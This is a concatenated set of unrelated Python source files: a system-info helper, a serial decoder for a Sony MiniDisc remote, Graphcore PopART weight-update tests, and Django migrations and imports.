r""" Utils are utils. """ from sys import version_info as v import subprocess from datetime import datetime def run_cmd(cmd: str) -> str: r"""Executes and returns custom command output. """ return subprocess.getoutput(cmd) def get_gpu_usage() -> str: r"""Returns current gpu usage. """ cmd_used = 'nvidia-smi --query-gpu=memory.used --format=csv,nounits,noheader' cmd_total = 'nvidia-smi --query-gpu=memory.total --format=csv,noheader' return f'{run_cmd(cmd_used)} / {run_cmd(cmd_total)}' def get_disk_usage() -> str: r"""Returns disk total disk usage. """ cmd = 'df -h --total --output=source,size,used,avail | grep -E "Filesystem|total"' return run_cmd(cmd) def get_distro_descr() -> str: r"""Returns Ubuntu distro info. """ cmd = 'cat /etc/*release | grep DISTRIB_DESCRIPTION | cut -d= -f2' return run_cmd(cmd).strip('"') def current_time() -> str: r"""Returns current time. """ return f'{datetime.now():%Y-%m-%d-%H-%M}' def get_gpu_name() -> str: r"""Returns GPU name. """ cmd = 'nvidia-smi --query-gpu=name --format=csv,noheader' return run_cmd(cmd) def get_cuda_version() -> str: r"""Returns CUDA version. """ cmd = 'cat /usr/local/cuda/version.txt' return run_cmd(cmd) def get_cudnn_version() -> str: r"""Returns CUDA version. TODO: Check this ones: cat /usr/include/cudnn.h | grep "define CUDNN_MAJOR" cat /usr/include/cudnn.h | grep "define CUDNN_MINOR" cat /usr/include/cudnn.h | grep "define CUDNN_PATCHLEVEL" """ cmd = 'python -c "import torch; print(torch.backends.cudnn.version())"' return run_cmd(cmd) def get_python_version() -> str: r"""Returns installed python version. """ return f'Python {v.major}.{v.minor}.{v.micro}' def get_python_version2() -> str: r"""Returns installed python version. """ cmd = 'python -V' return run_cmd(cmd) def get_pytorch_version() -> str: r"""Returns installed pytorch's packages version. """ cmd = 'pip list | grep torch' return run_cmd(cmd) def print_sysinfo() -> None: r"""Prints general system and pytorch version info. """ _ = list() _.append('OS\t\t\t ' + get_distro_descr()) _.append('----') _.append('GPU\t\t\t ' + get_gpu_name()) _.append('CUDA\t\t\t ' + get_cuda_version()) _.append('cuDNN\t\t\t ' + '.'.join([i for i in get_cudnn_version()])) _.append('----') _.append('\t\t\t '.join(get_python_version2().lower().split(' '))) _.append(get_pytorch_version()) print(*_, sep='\n')
nilq/baby-python
python
import sys import glob import serial import datetime def serial_ports(): """ Lists serial port names :raises EnvironmentError: On unsupported or unknown platforms :returns: A list of the serial ports available on the system """ if sys.platform.startswith('win'): ports = ['COM%s' % (i + 1) for i in range(256)] elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'): # this excludes your current terminal "/dev/tty" ports = glob.glob('/dev/ttyA[A-Za-z]*') elif sys.platform.startswith('darwin'): ports = glob.glob('/dev/tty.*') else: raise EnvironmentError('Unsupported platform') result = [] for port in ports: try: s = serial.Serial(port) s.close() result.append(port) except (OSError, serial.SerialException): pass return result ports = serial_ports() print(f"Using Port: {ports[0]}") ser = serial.Serial(ports[0]) ser.flushInput() timeout = 5000 reset_low = 800 pulse_high = -100 CMD_UNKNOWN_02 = 0x02 CMD_DISP_MODE_MAYBE = 0x03 CMD_BACKLIGHT = 0x05 CMD_VOLUME = 0x40 CMD_PLAY_MODE = 0x41 CMD_BATTERY = 0x43 CMD_TRACK = 0xA0 CMD_PLAY_STATE = 0xA1 CMD_DISP_MAYBE = 0xA2 CMD_TEXT = 0xC8 REG_BATTERY = 0x03 BATTERY_CHARGE = 0x7F BATTERY_LOW = 0x80 BATTERY_ZERO = 0x01 REG_PLAY_MODE = 0x03 PLAY_MODE_NORMAL = 0x00 PLAY_MODE_REPEAT = 0x01 PLAY_MODE_REPEAT_ONE = 0x03 PLAY_MODE_SHUFFLE = 0x7F REG_PLAY_STATE = 0x06 CMD_PLAY_STATE_TOGGLE = 0x03 CMD_PLAY_STATE_ON = 0x7F CMD_PLAY_STATE_OFF = 0x00 CMD_PLAY_STATE_TRACK = 0x01 REG_BACKLIGHT = 0x03 CMD_BACKLIGHT_ON = 0x7F CMD_BACKLIGHT_OFF = 0x00 REG_VOLUME = 0x03 REG_TEXT = 0x03 REG_TEXT_POSITION = 0x05 REG_TEXT_LEN = 0x07 CMD_TEXT_APPEND = 0x02 CMD_TEXT_END = 0x01 REG_TRACK = 0x06 class SonyMdRemote: def __init__(self): self.Backlight = 0 self.Text = "" self.Track = 0 self.PlayState = 0 self.PlayMode = 0 self.Battery = 0 self.Volume = 0 self.TextBuf = "" def process_packet(self, data): # ignore printing NOPs str = "" for d in data: str += hex(d) + ", " print(f"[{datetime.datetime.now().strftime('%H:%M:%S.%f')}] Packet: [ {str} ]") if len(data) <= 2: return # check header values 82 80 if data[1] != 0x80: print("BAD: Invalid packet!") cmd = data[2] # when display mode is pressed this is triggered if cmd == CMD_UNKNOWN_02: a = 1 elif cmd == CMD_DISP_MAYBE: a = 1 elif cmd == CMD_BACKLIGHT: md.set_backlight_raw(data) elif cmd == CMD_VOLUME: md.set_volume_raw(data) elif cmd == CMD_TEXT: md.set_text_raw(data) elif cmd == CMD_TRACK: md.set_track_raw(data) elif cmd == CMD_PLAY_STATE: md.set_play_state_raw(data) elif cmd == CMD_PLAY_MODE: md.set_play_mode_raw(data) elif cmd == CMD_BATTERY: md.set_battery_raw(data) else: str = "" for d in data: str += hex(d) + ", " print(f"[{datetime.datetime.now().strftime('%H:%M:%S.%f')}] Unknown Packet: [ {str} ]") def is_backlight_on(self): return self.Backlight == CMD_BACKLIGHT_ON def set_backlight(self, isOn): self.Backlight = CMD_BACKLIGHT_ON def set_backlight_raw(self, data): bl = data[REG_BACKLIGHT] self.Backlight = bl print(f"Backlight {self.Backlight == CMD_BACKLIGHT_ON}") def get_volume(self): return self.Volume def set_volume(self, val): self.Volume = val def set_volume_raw(self, data): vol = data[REG_VOLUME] self.Volume = vol print (f"Volume {self.Volume}") def set_text_raw(self, data): reg = data[REG_TEXT] # just keep appending text if self.TextBuf == "": self.Text = "" self.Text += ''.join(chr(e) for e in data[REG_TEXT_POSITION:REG_TEXT_POSITION + REG_TEXT_LEN]) self.TextBuf = self.Text # last chunk of text received if reg == CMD_TEXT_END: self.Text = self.Text.replace(chr(0xff), chr(0x00)) print(f"{self.Text}") self.TextBuf = "" def get_track(self): return self.Track def set_track(self, track): self.Track = track self.Text = "" def set_track_raw(self, data): reg = data[REG_TRACK] if self.Track != reg: self.set_track(reg) self.Track = reg print (f"Track T {self.Track}") def get_play_state(self): return self.PlayState def set_play_state_raw(self, data): reg = data[REG_PLAY_STATE] self.PlayState = reg if reg == CMD_PLAY_STATE_TOGGLE: print (f"Disc: TOGGLE") elif reg == CMD_PLAY_STATE_ON: print (f"Disc: ALL ON") elif reg == CMD_PLAY_STATE_OFF: print (f"Disc: ALL OFF") elif reg == CMD_PLAY_STATE_TRACK: print (f"Disc: TRACK CHANGE") def get_play_mode_repeat(self): return self.PlayMode == PLAY_MODE_REPEAT def get_play_mode_repeat_one(self): return self.PlayMode == PLAY_MODE_REPEAT_ONE def get_play_mode_shuffle(self): return self.PlayMode == PLAY_MODE_SHUFFLE def set_play_mode_raw(self, data): reg = data[REG_PLAY_MODE] self.PlayMode = reg if reg == PLAY_MODE_NORMAL: print("Play Mode: No Suffle/repeat") elif reg == PLAY_MODE_REPEAT: print("Play Mode: Repeat") elif reg == PLAY_MODE_REPEAT_ONE: print("Play Mode: Repeat ONE") elif reg == PLAY_MODE_SHUFFLE: print("Play Mode: SHUFFLE") def get_battery_is_charging(self): return self.Battery == BATTERY_CHARGE def get_battery_is_low(self): return self.Battery == BATTERY_LOW def get_battery_level(self): reg = self.Battery if reg == BATTERY_CHARGE: return 0 elif reg == BATTERY_LOW: return 0 elif reg == BATTERY_ZERO: return 0 else: chg = reg >> 5 chg = set_bit(chg, 2, 0) return chg + 1 def set_battery_raw(self, data): reg = data[REG_BATTERY] print(f"BAT {reg}") if reg == BATTERY_CHARGE: print (f"Battery: Charge ({reg})") elif reg == BATTERY_LOW: print (f"Battery: Low Battery") elif reg == BATTERY_ZERO: print (f"Battery: 0 Bars!") else: chg = reg >> 5 chg = set_bit(chg, 2, 0) print (f"Battery: Charge ({chg + 1} Bars)") self.Battery = reg def display(self): disp = "".ljust(10, ' ') if self.get_play_mode_repeat(): disp = "Repeat".ljust(10, ' ') elif self.get_play_mode_repeat_one(): disp = "Repeat One".ljust(10, ' ') elif self.get_play_mode_shuffle(): disp = "Shuffle".ljust(10, ' ') x = self.get_play_state() bat = self.get_battery_is_charging() batT = "CHG" if bat == 0: bat = self.get_battery_is_low() batT = "LOW" if bat == 0: bat = self.get_battery_level() batT = ("O" * bat).ljust(4, ' ') print(f"[{self.Track}] {self.Text.ljust(20, ' ')} {x} [Repeat: {disp}] [B:{batT}]") def set_bit(v, index, x): """Set the index:th bit of v to 1 if x is truthy, else to 0, and return the new value.""" mask = 1 << index # Compute mask, an integer with just bit 'index' set. v &= ~mask # Clear the bit indicated by the mask (if x is False) if x: v |= mask # If x was True, set the bit indicated by the mask. return v # Return the result, we're done. def flip_byte(c): c = ((c >> 1) & 0x55) | ((c << 1) & 0xAA) c = ((c >> 2) & 0x33) | ((c << 2) & 0xCC) c = (c >> 4) | (c << 4) return c md = SonyMdRemote() def process_packet(packet_array): global md i = 0 j = 0 outp = 0 addr = 0 data = [] bit_counter = 0 state = 0 skp = 0 #print(packet_array) for p in packet_array: # skip the sync and start bit if i < 4: i = i + 1 state = 1 # packet detect continue if state == 1: # packet detect # if we detect writes, skip the start pulse if len(data) > 1 and data[0] == 0x92 and bit_counter == 0 and skp < 2: i = i + 1 skp = skp + 1 continue # gather the bits if not bit_counter % 2: #print(p) if p < 0 and p < pulse_high: outp = set_bit(outp, int(bit_counter/2), 0) else: outp = set_bit(outp, int(bit_counter/2), 1) bit_counter = bit_counter + 1 if bit_counter >= 16: #outp = outp & 0xFE #print(f"gfhdhgf {outp}") data.append(outp) bit_counter = 0 state = 1 # detect stop skp = 0 continue i = i + 1 md.process_packet(data) buf = "" num_buf = "" packet_bits = [] def process_bytes(ser_bytes): buf = ser_bytes.replace("!", "") spl = buf.split(',') ispl = [] for v in range(len(spl)): if spl[v] == '': continue ispl.append(int(spl[v])) md.process_packet(ispl) md.display() while True: try: ser_bytes = ser.readline() #print(ser_bytes) buf = str(ser_bytes.decode("utf-8")) buf = buf.replace("\n", "") buf = buf.replace("\r", "") buf = buf.replace("--", "-") num = 0 state = 0 packet_val = 0 if buf[0] == '!': process_bytes(buf) continue if buf[0] != '#': continue for b in range(len(buf)): data = buf[b] if data == '+': num_buf = "" continue if data == '-': num_buf = "" if data == ',': if num_buf == "" or num_buf == "-" or num_buf == "+": continue num = int(num_buf) #print(num_buf) num_buf = "" packet_bits.append(num) if num > timeout: process_packet(packet_bits) packet_bits.clear() #print("Start Packet") md.display() continue num_buf = "" continue num_buf += data except KeyboardInterrupt: print("Bye") ser.close() sys.exit() except Exception: print("error") print(buf) print(traceback) break
nilq/baby-python
python
# Copyright (c) 2020 Graphcore Ltd. All rights reserved. import os import popart import numpy as np import torch import onnx from onnx import numpy_helper import math import pytest # `import test_util` requires adding to sys.path import sys from pathlib import Path sys.path.append(str(Path(__file__).resolve().parent.parent)) import test_util as tu def run_model( tmpdir, model_file_name, execution_mode="normal", enable_matmul_serialization=False, enable_outlining=False, enable_accum=False, accum_factor=1, activation_tensor_location_settings=None, weight_tensor_location_settings=None, optimizer_state_tensor_location_settings=None, accumulator_tensor_location_settings=None, num_layers=3, dsize=37, # Choose a prime number to force padding batch_size=1, num_iterations=1, num_replicas=1, optimizer=popart.SGD({"defaultLearningRate": (0.5, False)}), reduction=popart.ReductionType.Sum): np.random.seed(10911) matmul_serialization_mode = 'output_channels' matmul_serialization_factor = 2 builder = popart.Builder() ip = builder.addInputTensor( popart.TensorInfo("FLOAT", [batch_size, dsize, dsize])) def add_layer(index, in_id): w = builder.addInitializedInputTensor( np.random.rand(dsize, dsize).astype(np.float32), f"W{index}") matmul_id = builder.aiOnnx.matmul([in_id, w]) if enable_matmul_serialization: builder.setSerializeMatMul({matmul_id}, matmul_serialization_mode, matmul_serialization_factor) return matmul_id out = ip l1 = "" for i in range(num_layers): if execution_mode == "normal": vgid = 0 elif execution_mode == "phased": vgid = i % 2 elif execution_mode == "pipelined": vgid = i else: raise ValueError(f"Execution mode {execution_mode} unsupported") with builder.executionPhase(i), builder.pipelineStage( i), builder.virtualGraph(vgid): out = add_layer(i, out) if i == num_layers - 1: with builder.executionPhase(i), builder.pipelineStage( i), builder.virtualGraph(vgid): l1 = builder.aiGraphcore.l1loss([out], 0.1, reduction) anchorIds = [] builder.addOutputTensor(out) if execution_mode == "normal": num_ipus = 1 elif execution_mode == "phased": num_ipus = 2 elif execution_mode == "pipelined": num_ipus = 2**math.ceil(math.log2(num_layers)) else: raise ValueError(f"Execution mode {execution_mode} unsupported") dfAnchors = {} for anchorId in anchorIds: dfAnchors.update({anchorId: popart.AnchorReturnType("All")}) opts = popart.SessionOptions() opts.enableOutlining = enable_outlining opts.enableReplicatedGraphs = True if num_replicas > 1 else False opts.replicatedGraphCount = num_replicas opts.enableGradientAccumulation = enable_accum opts.accumulationFactor = accum_factor opts.accumulationAndReplicationReductionType = reduction if activation_tensor_location_settings is not None: opts.activationTensorLocationSettings = activation_tensor_location_settings if weight_tensor_location_settings is not None: opts.weightTensorLocationSettings = weight_tensor_location_settings if optimizer_state_tensor_location_settings is not None: opts.optimizerStateTensorLocationSettings = optimizer_state_tensor_location_settings if accumulator_tensor_location_settings is not None: opts.accumulatorTensorLocationSettings = accumulator_tensor_location_settings if execution_mode == "normal": opts.virtualGraphMode = popart.VirtualGraphMode.Manual elif execution_mode == "phased": opts.executionPhaseSettings.phases = num_layers opts.autoRecomputation = popart.RecomputationType.NoRecompute opts.virtualGraphMode = popart.VirtualGraphMode.ExecutionPhases opts.explicitRecomputation = False elif execution_mode == "pipelined": opts.enablePipelining = True opts.virtualGraphMode = popart.VirtualGraphMode.Manual opts.autoRecomputation = popart.RecomputationType.Standard proto = builder.getModelProto() patterns = popart.Patterns(popart.PatternsLevel.All) # patterns.InPlace = False with tu.create_test_device(num_replicas * num_ipus, pattern=popart.SyncPattern.Full) as device: session = popart.TrainingSession(fnModel=proto, dataFlow=popart.DataFlow( 1, dfAnchors), optimizer=optimizer, loss=l1, patterns=patterns, userOptions=opts, deviceInfo=device) session.prepareDevice() session.weightsFromHost() anchors = session.initAnchorArrays() for i in range(num_iterations): ip_data = np.random.rand(num_replicas, accum_factor, batch_size, dsize, dsize).astype(np.float32) stepio = popart.PyStepIO({ip: ip_data}, anchors) session.run(stepio) print("anchors:") print(anchors) session.modelToHost(str(tmpdir / model_file_name)) def check_model(lhs_model, rhs_model): for i in range(len(lhs_model.graph.initializer)): lhs = lhs_model.graph.initializer[i] for j in range(len(rhs_model.graph.initializer)): rhs = rhs_model.graph.initializer[j] if (rhs.name == lhs.name): print(f'Checking initializer {i} ({lhs.name} - {rhs.name})') lhsa = numpy_helper.to_array(lhs) rhsa = numpy_helper.to_array(rhs) assert np.allclose(lhsa, rhsa, rtol=1.e-4, atol=1.e-5) # Standard OnChip settings onChipLocation = popart.TensorLocationSettings( location=popart.TensorLocation( storage=popart.TensorStorage.OnChip, loadTileSet=popart.TileSet.Compute, storageTileSet=popart.TileSet.Compute, replicatedTensorSharding=popart.ReplicatedTensorSharding.Off), minElementsForOffChip=0, minElementsForReplicatedTensorSharding=2) # Standard OffChip settings offChipLocation = popart.TensorLocationSettings( location=popart.TensorLocation( storage=popart.TensorStorage.OffChip, loadTileSet=popart.TileSet.Compute, storageTileSet=popart.TileSet.Compute, replicatedTensorSharding=popart.ReplicatedTensorSharding.Off), minElementsForOffChip=0, minElementsForReplicatedTensorSharding=2) # Replicated tensor sharding OffChip settings offChipRtsLocation = popart.TensorLocationSettings( location=popart.TensorLocation( storage=popart.TensorStorage.OffChip, loadTileSet=popart.TileSet.Compute, storageTileSet=popart.TileSet.Compute, replicatedTensorSharding=popart.ReplicatedTensorSharding.On), minElementsForOffChip=0, minElementsForReplicatedTensorSharding=2) # Replicated tensor sharding OnChip settings onChipRtsLocation = popart.TensorLocationSettings( location=popart.TensorLocation( storage=popart.TensorStorage.OnChip, loadTileSet=popart.TileSet.Compute, storageTileSet=popart.TileSet.Compute, replicatedTensorSharding=popart.ReplicatedTensorSharding.On), minElementsForOffChip=0, minElementsForReplicatedTensorSharding=2) @tu.requires_ipu def test_weight_update(tmpdir): run_model(tmpdir, 'without_phased.onnx', "normal", False, True) run_model(tmpdir, 'with_phased.onnx', execution_mode="phased", enable_matmul_serialization=False, activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation) without_phased = onnx.load(str(tmpdir / 'without_phased.onnx')) with_phased = onnx.load(str(tmpdir / 'with_phased.onnx')) check_model(without_phased, with_phased) @tu.requires_ipu def test_onchip_memory(tmpdir): run_model(tmpdir, 'model_normal.onnx', execution_mode="normal") run_model(tmpdir, 'model_onchip_act.onnx', execution_mode="phased", activation_tensor_location_settings=onChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=onChipLocation) run_model(tmpdir, 'model_onchip_weights.onnx', execution_mode="phased", activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=onChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=onChipLocation) run_model(tmpdir, 'model_onchip_opt_state.onnx', execution_mode="phased", activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=onChipLocation, accumulator_tensor_location_settings=onChipLocation) normal = onnx.load(str(tmpdir / 'model_normal.onnx')) onchip_act = onnx.load(str(tmpdir / 'model_onchip_act.onnx')) onchip_weights = onnx.load(str(tmpdir / 'model_onchip_weights.onnx')) onchip_opt_state = onnx.load(str(tmpdir / 'model_onchip_opt_state.onnx')) check_model(normal, onchip_act) check_model(normal, onchip_weights) check_model(normal, onchip_opt_state) # Check that 2 batches on 1 replica or 1 batch per replica on 2 replicas # results in the same updated weight with SGD0 @tu.requires_ipu def test_replicated_sgd0_weight_update(tmpdir): run_model(tmpdir, 'phased.onnx', execution_mode="phased", batch_size=4, num_replicas=1, activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation) run_model(tmpdir, 'phased_replicated.onnx', execution_mode="phased", batch_size=2, num_replicas=2, activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation) run_model(tmpdir, 'phased_replicated_rws.onnx', execution_mode="phased", batch_size=2, num_replicas=2, activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipRtsLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=offChipRtsLocation) run_model(tmpdir, 'phased_replicated_rws_acc.onnx', execution_mode="phased", batch_size=1, num_replicas=2, enable_accum=True, accum_factor=2, activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipRtsLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=onChipLocation) phased = onnx.load(str(tmpdir / 'phased.onnx')) phased_replicated = onnx.load(str(tmpdir / 'phased_replicated.onnx')) phased_replicated_rws = onnx.load( str(tmpdir / 'phased_replicated_rws.onnx')) phased_replicated_rws_acc = onnx.load( str(tmpdir / 'phased_replicated_rws_acc.onnx')) check_model(phased, phased_replicated) check_model(phased, phased_replicated_rws) check_model(phased, phased_replicated_rws_acc) # Check that 2 batches on 1 replica or 1 batch per replica on 2 replicas # results in the same updated weight with SGD1 @pytest.mark.parametrize('sgdType', ['SGD1', 'SGD2']) @tu.requires_ipu def test_replicated_sgd1and2_weight_update(tmpdir, sgdType): optimizer_dict = { "defaultLearningRate": (0.00001, False), "defaultMomentum": (0.9, False), "defaultDampening": (0.2, False), "defaultVelocityScaling": (0.1, False), "lossScaling": (1.0, True), "defaultWeightDecay": (0.2, True) } if sgdType == 'SGD1': sgdAccMm = popart.SGDAccumulatorAndMomentum.Combined elif sgdType == 'SGD2': sgdAccMm = popart.SGDAccumulatorAndMomentum.Separate else: raise 'Unknown sgdType={sgdType} in test' run_model(tmpdir, 'phased.onnx', execution_mode="phased", batch_size=2, num_replicas=1, num_iterations=5, optimizer=popart.SGD(optimizer_dict, accumulatorAndMomentum=sgdAccMm), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation) run_model(tmpdir, 'phased_replicated.onnx', execution_mode="phased", batch_size=1, num_replicas=2, num_iterations=5, optimizer=popart.SGD(optimizer_dict, accumulatorAndMomentum=sgdAccMm), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation) run_model(tmpdir, 'phased_replicated_rws.onnx', execution_mode="phased", batch_size=1, num_replicas=2, num_iterations=5, optimizer=popart.SGD(optimizer_dict, accumulatorAndMomentum=sgdAccMm), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipRtsLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=offChipRtsLocation) # For SGD2, where accumulator and optimizer state are separate tensors, add # another test case for when only the optimizer state is RTS. if sgdType == 'SGD2': run_model(tmpdir, 'phased_replicated_rts_os_only.onnx', execution_mode="phased", batch_size=1, num_replicas=2, num_iterations=5, optimizer=popart.SGD(optimizer_dict, accumulatorAndMomentum=sgdAccMm), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipRtsLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=offChipLocation) phased = onnx.load(str(tmpdir / 'phased.onnx')) phased_replicated = onnx.load(str(tmpdir / 'phased_replicated.onnx')) phased_replicated_rws = onnx.load( str(tmpdir / 'phased_replicated_rws.onnx')) check_model(phased, phased_replicated) check_model(phased, phased_replicated_rws) if sgdType == 'SGD2': phased_replicated_rts_os_only = onnx.load( str(tmpdir / 'phased_replicated_rts_os_only.onnx')) check_model(phased, phased_replicated_rts_os_only) # Check that 2 batches on 1 replica or 1 batch per replica on 2 replicas # results in the same updated weight with SGD1 @tu.requires_ipu def test_replicated_adam_weight_update(tmpdir): optimizer_dict = { "defaultLearningRate": (0.005, True), "defaultBeta1": (0.7, True), "defaultBeta2": (0.8, True), "defaultWeightDecay": (0.1, True), "defaultEps": (1e-6, True), "lossScaling": (10.0, True), } run_model(tmpdir, 'phased.onnx', execution_mode="phased", batch_size=2, num_replicas=1, num_iterations=5, optimizer=popart.Adam(optimizer_dict), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation) run_model(tmpdir, 'phased_replicated.onnx', execution_mode="phased", batch_size=1, num_replicas=2, num_iterations=5, optimizer=popart.Adam(optimizer_dict), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation) run_model(tmpdir, 'phased_replicated_rws.onnx', execution_mode="phased", batch_size=1, num_replicas=2, num_iterations=5, optimizer=popart.Adam(optimizer_dict), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipRtsLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=offChipRtsLocation) phased = onnx.load(str(tmpdir / 'phased.onnx')) phased_replicated = onnx.load(str(tmpdir / 'phased_replicated.onnx')) phased_replicated_rws = onnx.load( str(tmpdir / 'phased_replicated_rws.onnx')) check_model(phased, phased_replicated) check_model(phased, phased_replicated_rws) # Check that 2 batches on 1 replica or 1 batch per replica on 2 replicas # results in the same updated weight with Lamb @pytest.mark.parametrize("isConst", [False, True]) @pytest.mark.parametrize("reduction", [popart.ReductionType.Sum, popart.ReductionType.Mean]) @tu.requires_ipu def test_replicated_lamb_weight_update(tmpdir, isConst, reduction): # Test both const & non-const optimizer parameters optimizer_dict = { "defaultLearningRate": (0.005, isConst), "defaultBeta1": (0.7, isConst), "defaultBeta2": (0.8, isConst), "defaultWeightDecay": (0.1, isConst), "defaultEps": (1e-6, isConst), "lossScaling": (10.0, isConst), } # Off-chip, but no RTS (1x replica) run_model(tmpdir, 'phased.onnx', execution_mode="phased", batch_size=4, num_replicas=1, num_iterations=5, optimizer=popart.Adam(optimizer_dict, popart.AdamMode.Lamb), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation, reduction=reduction) # Off-chip, but no RTS (2x replicas) run_model(tmpdir, 'phased_replicated.onnx', execution_mode="phased", batch_size=2, num_replicas=2, num_iterations=5, optimizer=popart.Adam(optimizer_dict, popart.AdamMode.Lamb), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipLocation, optimizer_state_tensor_location_settings=offChipLocation, accumulator_tensor_location_settings=offChipLocation, reduction=reduction) # Weights and optimizer off-chip, RTS run_model(tmpdir, 'phased_replicated_rws.onnx', execution_mode="phased", batch_size=2, num_replicas=2, num_iterations=5, optimizer=popart.Adam(optimizer_dict, popart.AdamMode.Lamb), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipRtsLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=offChipLocation, reduction=reduction) # Weights and optimizer off-chip, accumulator off chip, RTS run_model(tmpdir, 'phased_replicated_rws_acc.onnx', execution_mode="phased", batch_size=1, num_replicas=2, num_iterations=5, enable_accum=True, accum_factor=2, optimizer=popart.Adam(optimizer_dict, popart.AdamMode.Lamb), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=offChipRtsLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=offChipLocation, reduction=reduction) # Weights on-chip, non-RTS, optimizer state off-chip, RTS run_model(tmpdir, 'phased_replicated_rws_acc_nw.onnx', execution_mode="phased", batch_size=1, num_replicas=2, num_iterations=5, enable_accum=True, accum_factor=2, optimizer=popart.Adam(optimizer_dict, popart.AdamMode.Lamb), activation_tensor_location_settings=offChipLocation, weight_tensor_location_settings=onChipLocation, optimizer_state_tensor_location_settings=offChipRtsLocation, accumulator_tensor_location_settings=onChipLocation, reduction=reduction) phased = onnx.load(str(tmpdir / 'phased.onnx')) phased_replicated = onnx.load(str(tmpdir / 'phased_replicated.onnx')) phased_replicated_rws = onnx.load( str(tmpdir / 'phased_replicated_rws.onnx')) phased_replicated_rws_acc = onnx.load( str(tmpdir / 'phased_replicated_rws_acc.onnx')) phased_replicated_rws_acc_nw = onnx.load( str(tmpdir / 'phased_replicated_rws_acc_nw.onnx')) check_model(phased, phased_replicated) check_model(phased, phased_replicated_rws) check_model(phased, phased_replicated_rws_acc) check_model(phased, phased_replicated_rws_acc_nw)
nilq/baby-python
python
# Generated by Django 3.1.5 on 2021-01-14 08:31 import django.contrib.postgres.indexes import django.contrib.postgres.search from django.db import migrations, models def parse_description_json_to_string(description): string = "" blocks = description.get("blocks") if not blocks or not isinstance(blocks, list): return "" for block in blocks: block_type = block["type"] if block_type == "list": for item in block["data"].get("items"): if not item: continue string += item else: text = block["data"].get("text") if not text: continue string += text return string def migrate_description_into_description_plaintext(apps, schema): Product = apps.get_model("product", "Product") for product in Product.objects.iterator(): product.description_plaintext = parse_description_json_to_string( product.description ) product.save() class Migration(migrations.Migration): dependencies = [ ("product", "0138_migrate_description_json_into_description"), ] operations = [ migrations.AddField( model_name="product", name="description_plaintext", field=models.TextField(blank=True, default=""), ), migrations.AddField( model_name="product", name="search_vector", field=django.contrib.postgres.search.SearchVectorField( blank=True, null=True ), ), migrations.AddIndex( model_name="product", index=django.contrib.postgres.indexes.GinIndex( fields=["search_vector"], name="product_pro_search__e78047_gin" ), ), migrations.RunSQL( """ CREATE TRIGGER title_vector_update BEFORE INSERT OR UPDATE ON product_product FOR EACH ROW EXECUTE PROCEDURE tsvector_update_trigger( 'search_vector', 'pg_catalog.english', 'description_plaintext' ); """ ), migrations.RunPython( migrate_description_into_description_plaintext, migrations.RunPython.noop, ), ]
nilq/baby-python
python
from .concat_dataset import ConcatDataset from .dataset_wrapper import DatasetWrapper from .image_collection_dataset import ImageCollectionDataset from .segmentation_dataset import SegmentationDataset from .sampler import MinForegroundSampler
nilq/baby-python
python
# Generated by Django 2.0.4 on 2019-07-17 11:36 from django.core.management import call_command from django.db import migrations from events.helpers.permissions import ( create_organizer_group_migrations_wrapped, remove_organizer_group ) def update_permissions(schema, group): call_command('update_permissions') class Migration(migrations.Migration): dependencies = [ ('events', '0005_auto_20190715_1440'), ] operations = [ migrations.RunPython(update_permissions, reverse_code=migrations.RunPython.noop), migrations.RunPython(create_organizer_group_migrations_wrapped, remove_organizer_group), ]
nilq/baby-python
python
